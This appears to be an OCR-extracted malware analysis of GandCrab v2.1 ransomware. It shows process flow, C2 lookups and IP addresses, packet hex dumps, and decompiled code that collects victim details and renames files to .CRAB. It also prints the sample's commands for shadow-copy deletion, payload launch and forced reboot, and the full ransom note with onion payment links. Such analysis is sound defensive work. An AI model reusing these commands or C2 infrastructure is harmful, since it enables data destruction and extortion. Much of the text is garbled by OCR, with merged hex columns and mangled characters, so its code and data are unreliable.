---= GANDCRAB V2.1 =---
RANSOMWARE




Uses nslookup to find the C2 server in an infinite loop. Once C2 is localed, disk encryption begins
FLOW

VSSVC.exe 3792

nslookup.exe 3656

’ nslookup.exe 1108

cmd.exe 2844

ubDP

FUNC_RES (u"ipv4bot.whatismyipaddress.com", 0x1000eed8, edi, edi, esi, 0x27ff)

(UDURRANT)

(LAYER: 4) . . .
s_port: 51538 |d_port: 53 |len=s3 ipv4dbot.whatismyipaddress.com

18 D9 01 00 @0 01 00 @0 00 00 00 00 @3 6E 73 31 Deiieeneeneensl | http://85.105.136.98/ailfeest
0C 63 6F 72 70 2D 73 65 72 76 65 72 73 02 72 75 ! .corp-servers.ru http://85.105.136.98/ailfeest
00 00 01 00 01 Diens http://85.105.136.98/ailfeest

(UDURRANT) (UDURRANI)
[(ENDx) FIN PACKET SENT FROME37.143.160.70| TO IP ADDRESS 172.16.177.180

PORT INFORMATION (80, 49294)
SEQUENCE INFORMATION (2069159106, 4171458807)

PAYLOAD_LLLL.exe 628

(LAYER: 4)
s_port: 53 |d_port: 51543 |len=51543

— 00 05 85 00 00 01 00 00 00 11 00 @0 09 7A 6F 6E ureesrennres zon . . ) . . )
Ef:::EEﬁii%fff;%fi}jiZf%?,,// 65 61 6C 61 72 6D 03 62 69 74 00 00 1C 00 01 CO ealarm.bit...... URG:O | ACK:l | PSH:il | RST:@ | SYN:@ | FIN:1]|

oC 00 06 00 01 00 00 00 96 00 3E 03 6E 73 31 0C serenenens>ansl, 48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D HTTP/1.1 200 OK.
63 6F 72 70 2D 73 65 72 76 65 72 73 02 72 75 00 corp-servers.ru. @A 53 65 72 76 65 72 3A 20 6E 67 69 6E 78 @D OA .Server: nginx..
05 61 64 6D 69 6E 09 7A 6F 6E 65 61 6C 61 72 6D .admin.zonealarm 44 61 74 65 3A 20 46 72 69 2C 20 32 3@ 20 41 70 Date: Fri, 20 Ap
_— 03 62 69 74 00 00 12 D6 87 00 00 00 96 00 00 00 biteeriiiiinnn. 72 20 32 30 31 38 20 31 38 3A 32 31 3A 32 38 20 r 2018 18:21:28
00000400 00007AD0  0x10001000 2 -R-X . text 78.97.139.74 80 96 00 00 00 96 00 00 00 96 CO OC 00 02 00 Q1 @0 = ..ivvssssnnnnnsnss 47 4D 54 @D OA 43 6F 6E 74 65 6E 74 2D 54 79 70 GMT..Content-Typ
o000 Do00To00  Jxio009000 R rdata 00 00 96 00 15 @3 6E 73 31 0C 63 6F 72 70 2D 73 +++eensl.corp-s 65 3A 20 74 65 78 74 2F 68 74 6D 6C 3B 20 63 68 e: text/html; ch
00010000 00000200  0x10012000  -R—-  .CRT 65 72 76 65 72 73 02 72 75 00 Co oC 00 02 00 01 ervers.ru.s.auess 61 72 73 65 74 3D 55 54 46 2D 38 @D OA 43 6F 6E arset=UTF-8..Con
00010200 00000200  0x10013000  -R--  .rsrc 00 00 00 96 00 10 @3 6E 73 31 @7 73 6F 6D 6F 6E | ....... nsl.somon 6E 65 63 74 69 6F 6E 3A 20 63 6C 6F 73 65 0D QA nection: close..
SR e e, e 65 74 02 72 75 00 CO 0C 00 02 00 01 00 00 00 96 et.rusvavannans :'GD'GA' 4376FE 6F 36 57 4A"76 55 69 3755 52 75 44"~~~ . CnobWJvUi7URuD"
nslookup exe 2844 00 OF 03 6E 73 31 06 77 65 73 74 61 76 02 72 75 ...nsl.westav.ru 14D 4D 44 44 47 71 62 30 4C 36 45 74 52 53 70 70 MMDDGQb@L6EtRSpp |
[ ] p- 00 CO 0C 00 02 00 01 00 00 00 96 @0 13 03 6E 73 +vvuveervnnnnes ns 132 4A 42 68 6E 63 6B 4B 62 6E 78 2F 53 48 67 4D 23BhnckKbnx/SHgM !
aﬁ 31 A 77 6F 77 73 65 72 76 65 72 73 02 72 75 00 1.wowservers. ru. 14A 6B 56 6B 68 7A 63 4F 54 55 66 34 4A 36 41 46 JkVkhzcOTUT4J6AF
CO 0C 00 02 00 01 00 00 00 96 00 15 03 6F 73 32  +uiveeerrnnns ns2 138 55 75 46 66 4B 48 51 65 45 6F 64 71 6B 41 79 8UUFfKHQeEodqkAy !
0C 63 6F 72 70 2D 73 65 72 76 65 72 73 02 72 75 .COrp-servers.ru '68 32 43 4C 43 75 41 71 78 7A 46 67 41 69 61 62 h2CLCuAqxzFgAiab !
00 CO 0C 00 02 00 ©01 00 00 00 96 @0 10 @3 6E 73  .uvuieeevvnnnes ns 153 58 7A 79 32 77 4C 63 6F 48 70 67 76 63 68 62 SXzy2wLcoHpgvchb |
nslookup.exe 3452 32 07 73 6F 6D 6F 6E 65 74 02 72 75 80 CO OC 00 2. somonet. ru. .. . 147 77 43 64 39 32 6A 4A 71 62 77 4A 4F 77 73 4C IWCd921 IgbwIOwsL !
02 00 01 00 00 00 96 00 OF 03 6E 73 32 06 77 65 resssssssNS2.WE :64 73 4D 56 4E 34 4C 4F 32 68 62 30 76 50 6F 73 dsMVN4L02hb@vPos 1
73 74 61 76 02 72 75 00 CO OC 00 02 00 01 00 00 StAV.lUervrnners 146 43 54 63 77 5A 77 33 41 2B 38 46 63 42 33 72 FCTchw3A+8Fc33r:
00 96 00 13 03 6E 73 32 OA 77 6F 77 73 65 72 76 | ..... ns2.wowserv 162 66 42 6C 79 2F 43 48 59 33 77 6D 7A 46 64 4F bfBly/CHY3wmzFd0 !
65 72 73 02 72 75 00 C0 0C 00 02 00 01 00 00 00 ers.Mueeiensn. 143 51 57 44 78 79 62 38 32 70 73 76 7A 76 66 74 CQuDxyb82psvzvft
nslookup exe 1504 96 @0 15 03 6E 73 33 0C 63 6F 72 70 2D 73 65 72 ....Nns3.corp-ser :gg 32 SE ‘3‘; gg ié g; ;g 22 4513 23 Z; g? ‘7‘5 ;‘; gé n71+gg;9(;§"';gt‘g:‘r3_';3:
z X

06 9 00 10 03 €& 73 33 07 75 oF 6b oF GF 65 74 e o3 somamet 131 55 2B 56 47 4€ 66 69 4E 6E 75 73 28 4531 77 _____: UsVGNF iNnus+ETw |

02 72 75 00 CO OC 00 02 00 01 00 00 00 96 00 OF FUu et vnnnnnenns

03 6E 73 33 06 77 65 73 74 61 76 02 72 75 00 CO .ns3.westav.ru..

v nslookup.exe 1880 9C 00 02 20 01 00 00 @0 96 00 13 @3 6F 73 33 BA | sevenreenses ns3

77 6F 77 73 65 72 76 65 72 73 02 72 75 00 C0 oC WOWSEervers.ru...

00 02 00 01 00 00 00 96 00 15 03 6E 73 34 OC 63 . ..uviinenns ns4.c

PAYLOAD_LLLL exe 2832 6F 72 70 2D 73 65 72 76 65 72 73 02 72 75 00 (O orp-servers.ru..

nslookup.exe 460 TCP
(UDURRANI) . -
TO IP ADDRESS!89.45.19.24,

PORT INFORMATION (49291, 80)
SEQUENCE INFORMATION (3167675794, @)
URG:@ | ACK:@ | PSH:@ | RST:@ | SYN:1 | FIN:0|

WMIC.exe 2484

(UDURRANI)

85.196.145.46 80 (DATA PUSH!) IS COMING FROM TO IP ADDRESS ﬁ.l_l.z_s.ﬁ”

PORT INFORMATION (49290, 80) - _ — —

SEQUENCE INFORMATION (3658472879, 3082981579)
URG:@ | ACK:1 | PSH:1 | RST:@ | SYN:0 | FIN:0|

85.105.136.98 80 —
47 45 54 20 2F 20 48 54 54 50 2F 31 2E 31 0D A ket / HTTP/1.1.. |

48 6F 73 74 3A 20 72 61 6E 73 6F 6D 77 61 72 65 ost: ransomware
COMMANDS 2E 62 69 74 @D QA 55 73 65 72 2D 41 67 65 6E 74 .bit..User-Agent |

3A 20 4D 6F 7A 69 6C 6C 61 2F 35 2E 30 20 28 57 : Mozilla/5.0 (W
. 69 6E 64 6F 77 73 20 4E 54 20 36 2E 31 3B 20 57 lindows NT 6.1; W

nslookup zonealarm.bit nsl.corp-servers.ru 4F 57 36 34 29 20 41 70 70 6C 65 57 65 62 4B 69 W64) AppleWebKi
wm%c.exe" process call create "cmd /c start PATH\PAYLOAD LLLL.exe” 74 2F 35 33 37 2E 33 36 20 28 4B 48 54 4D 4C 2C /537.36 (KHTML, I

wmic.exe" shadowcopy delete 20 6C 69 6B 65 20 47 65 63 6B 6F 29 20 43 68 72 like Gecko) Chr
6F 6D 65 2F 35 35 2E 30 2E 32 38 38 33 2E 38 37 Lme/55.0.2883.87|

20 53 61 66 61 72 69 2F 35 33 37 2E 33 36 0D 0A Safari/537.36..

43 61 63 68 65 2D 43 6F 6E 74 72 6F 6C 3A 20 6E ache-Control: n
6F 2D 63 61 63 68 65 @D QA 0D OA p-cache.... |
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C2 GeolLocation

172.16.177.159J
|

BG

ElE J

| SIP | DIP (CLICKABLE) | Port
[172.16.177.159 [85.196.145.46 80
[172.16.177.159 [85.196.145.46 80
[172.16.177.159 [85.196.145.46 80
[172.16.177.159 [85.196.145.46 80
[172.16.177.159 [85.196.145.46 [s0
[172.16.177.159 [85.196.145.46 80
[172.16.177.159 [194.204.25.137 [s0
[172.16.177.159 [194.204.25.137 [s0
[172.16.177.159 [194.204.25.137 80
[172.16.177.159 [194.204.25.137 80
[172.16.177.159 [194.204.25.137 [0
[172.16.177.159 [194.204.25.137 80
[172.16.177.159 [194.204.25.137 80
[172.16.177.159 [85.105.136.98 [s0
[172.16.177.159 [85.105.136.98 [s0
[172.16.177.159 [85.105.136.98 80
[172.16.177.159 [85.105.136.98 [s0
[172.16.177.159 [85.105.136.98 [0
[172.16.177.159 [85.105.136.98 80

Location

LI



CODE VIEW

1000e1c@® 6d61736b 00000000 7075625f
1000e1d@ 44454c45 54457d00 7b44454c
1000ele® 00000000 25005300 00000000
1000e1f@ 6c206572 72617200 46617461
1000e200 726f723a 20727361 656e682e
1000e210 6973206e 6742069 6€697469
1000e220 65642061 73207765 6c6c0000
1000e230 70693332 2e646c6Cc 00000000
1000e240 6b546f6b 656e4d65 6d626572
1000e250 00000000 3f003a00 5c000000
1000e260 49004300 5200400 53004100

1000fc@0 73654b65 79002000 416c6¢6T
1000fc10 416e6449 6697469 616c697a
1000fc20 00002001 46726565 53696400
1000fc30 79707445 78706172 744b6579
1000fc40 43727970 74416371 75697265
1000fc50 65787457 0000c500 43727970
1000fc60 4b657950 6172616d 0000cbOO
1000fc70 7452656¢c 65617365 436f6e74
1000fc80 ca@04372 79707449 6d706172
1000fc90 0000bad@ 43727970 74456e63
1000fca@ 0000cO00 43727970 7447656
1000fcb@® b7004372 79707444 65737472
1000fcc@ 79006501 47657455 7365724e
1000fcd@ 00006e02 52656751 75657279
1000fce@® 65457857 00006102 5265674 f
1000fcf@ 65794578 57004144 56415049
1000Td@0 6c6c0000 22015368 656c6C45
1000fd10 74655700 1005348 47657453
1000fd20 616c466f 6c646572 50617468
1000fd30 454c4c33 322e646¢c 6c00d800
1000fd40 74537472 696e6754 6f42696e

6b657900
4554457d
46617461
6c206572
646c6c20
616c697a
61647661
43686563
73686970
5c004d00
46005400

63617465
65536964
bf004372
0000b100
436f6e74
74476574
43727970
65787400
744b6579
72797074
4b657900
6f794b65
616d6557
56616c75
70656e4b
33322e64
78656375
70656369
57005348
43727970
61727941

-
~

7

mask....pub_key.
DELETE}.{DELETE}

1 error.Fatal er
ror: rsaenh.dll
is not initializ
ed as well..adva
pi32.d1l....Chec
kTokenMembership
0oo00®o80NoooNdlie
T CR RN OSSO NI

seKey. .Allocate
AndInitializeSid

.FreeSid...Cr
yptExportKey....
CryptAcquireCont
extW....CryptGet
KeyParam....Cryp
tReleaseContext.
.. CryptImportKey
... CryptEncrypt
.+ .. CryptGenKey.
.. CryptDestroyKe
y.e.GetUserNameW
. «N.RegQueryValu
eExW. .a.RegOpenK
eyExW.ADVAPI32.d
11..".ShellExecu
teW...SHGetSpeci
alFolderPathW.SH
ELL32.d1l...Cryp
tStrinaToBinarvA

V-

—

~

\

N\ -
10003070:
10003071:
10003073:
10003076
10003077
10003079:
1000307b:
1000307e:
10003081:
10003084
10003087 :
1000308a:
1000308d:
10003090:
10003093:
10003096
10003099:
1000309c:
1000309f:
100030a2:

-—

-—

Once encrypted change the extension to .CRAB (%s = FileName)

(esi, u"%s.CRAB", edi);
-

—

55
8b
8b
56
8b
89
8b
89
8b
89
8b
89
8b
89
8b
89
8b
89
8b
89

ec
45

fl
06
45
46
45
46
45
46
45
46
45
46
45
46
45
46

pushl
mov 1

pushl
mov1
mov L

10

Qc

20

24

28

30

30

3c

38

48

40

54

50

74

%ebp
%esp,
movl
%esi
%ecx,
%eax,
mov 1
mov 1
movl
movl
movl
movl
mov L
mov 1
mov 1
movl
movl
movl
mov L
mov L

%ebp
8(%ebp), %eax

%esi

(%esi)
16(%ebp), %eax
%eax, 12(%esi)
32(%ebp), %eax
%eax, 36(%esi)
40 (%ebp), %eax
%eax, 48(%esi)
48(%ebp), %eax
%eax, 60(%esi)
56 (%ebp), %eax
%eax, 72(%esi)
64 (%ebp), %eax
%eax, 84(%esi)
80(%ebp), %eax
%eax, 116(%esi)

—
—
—

—

X
(xFUNC_RESTART) (0x0, 0x1000e34c, u"cmd.exe", u"/c shutdown -r -t 1 -f", 0x0, 0x0);

_push(L"/c timeout -c 5 & del "%s" /f /q");

_push(__eax);
__imp__wsprintfw();
_esp = _ esp + 12;
_push(0);

_push(0);

_push(__eax);
_push(L"cmd.exe");
_push(L"open");
_push(2);
__imp__ShellExecuteW();

~
~

[FuncPtr* L10003070(

FuncPtrx __ecx,
FuncPtr _a4,
FuncPtr _al2,
FuncPtr _a28,
FuncPtr _a36,
FuncPtr _a44,
FuncPtr _a52,
FuncPtr _a6@,
FuncPtr _a76,
FuncPtr _a84

FuncPtr _t40;
_ecx = __
*__ecx = _a4;
_ecx[3] = _a12;

_ecx[9] = _
__ecx[0xc] = _a36;
ecx [0xf] = _ad4;
ecx[0x12] = _ab52;
ecx[0x15] = _a60;

ecx[0x1d] = _a76;

40 = _a84;

ecx[1] L"pc_user";
ecx[4] L"pc_name";
ecx[6] 1;

ecx[7] = L"pc_group";

el 1]

__ecx[oxal = L"av";
__ecx[0xd] = L"pc_lang";
__ecx[0x10] = L"pc_keyb";
_ecx[0x13] = L"os_major";
__ecx[0x16] = L"os_bit";
__ecx[ox18] = 1;
_ecx[0x19] = L"ransom_id";
__ecx[0x1e] = L"hdd";
__ecx[ox20] = _t40;
__ecx[0x22] = L"ip";

__imp__GetProcessHeap();
__ecx[0x23] = _t40;
return __ecx;
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RANSOM-NOTE AFTER THE REBOOT

---= GANDCRAB V2.1 =---
Attention!
All your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB

The only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.

The server with your key is in a closed network TOR. You can get there by the following ways:
0. Download Tor browser - https://www.torproject.org/

1. Install Tor browser

2. Open Tor Browser

3. Open link in TOR browser: http://gandcrab2pie73et.onion/622b1cb4e8643907

4. Follow the instructions on this page

If Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:

\u SIMs

€ http://sj.ms/register.php

i¢ Favorites ‘ = CRAB-DECRYPT | | Suggested Sites.ur.CRAB | | Web Slice Gallery.url.CRAB

Page v Safety v Tools v 'é‘v

=1}

Inasxan

3

Donate

fio

Peructpaumus

)
oTs FAQ

KonTakts!

0. https://gandcrab2pie73et.onion.rip/622b1cb4e8643907
1. https://gandcrab2pie73et.onion.plus/622b1cb4e8643907
2. https://gandcrab2pie73et.onion.to/622b1cb4e8643907

ATTENTION! Use regular browser only to contact us. Buy decryptor only through TOR browser link or Jabber Bot!

On our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.

-
-

The alternative way to contact us is to use Jabber messanger. Read how to:
0. Download Psi-Plus Jabber Client: https://psi-im.org/download/
1. Register new account: http://sj.ms/register.php = =  —— — =
0) Enter "username": 622b1cb4e8643907
1) Enter "password": your password

2. Add new account in Psi

-
—’

=
_— =

m

3. Add and write Jabber ID: ransomware@sj.ms any message |
4. Follow instruction bot

It is a bot! It's fully automated artificial system without human control!
To contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.
You can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf

DANGEROUS!

Do not try to modify files or use your own private key - this will result in the loss of your data forever!

Perncrtpauus HoBoro nonbsoBarens SJ.MS
PeKoMeHAayeT:
OBPATUTE BHUMAHME!!!
MpK perncTpaLmun Ha Halwem cepsepe Bbl AaBTOMATUYECKM COMALIAETECH C TEM, YTO B CyYae yTepu napons oT
Balueli y4eTHOI 3anick, Bbl HUKAKUM CIOCOGOM HE CMOKETE BOCCTAHOBUTH AOCTYN K HE. SJIM for Windows
BBUAY TOTO, YTO HA CEpBEPE NOTMPOBAHME OTKIIOYEHO MOMHOCTBIO, TO AAKE B CIyYae TOro, YTo Bbl MOMHUTE KaKoi
y Bac Obin IP agpec, Mbl He cMoXeM Bam nomoyb SJIM for Mac OS X
Ecnu npu cmexe napons Bbl 3abbinu Baw HOBbIM Naponb, NOO AONYCTUNKM oneyaTky — Bbl HE CMOXeTe BOWTH B
Balll aKkayHT! W aaxe ecnu Bbl NOMHWTE CBOW CTapblit NApONb, TO B CBA3M C TEM, YTO NOTH OTKMIOYEHDI, Mbl HE TS
CMOKEM Bam nomoys! o -
e T e e e e a2
(2 items remaining) Downloading data https://www.google.com/recaptcha/apijs... 1 | & @ Intemet | Protected Mode: On v ®100% <
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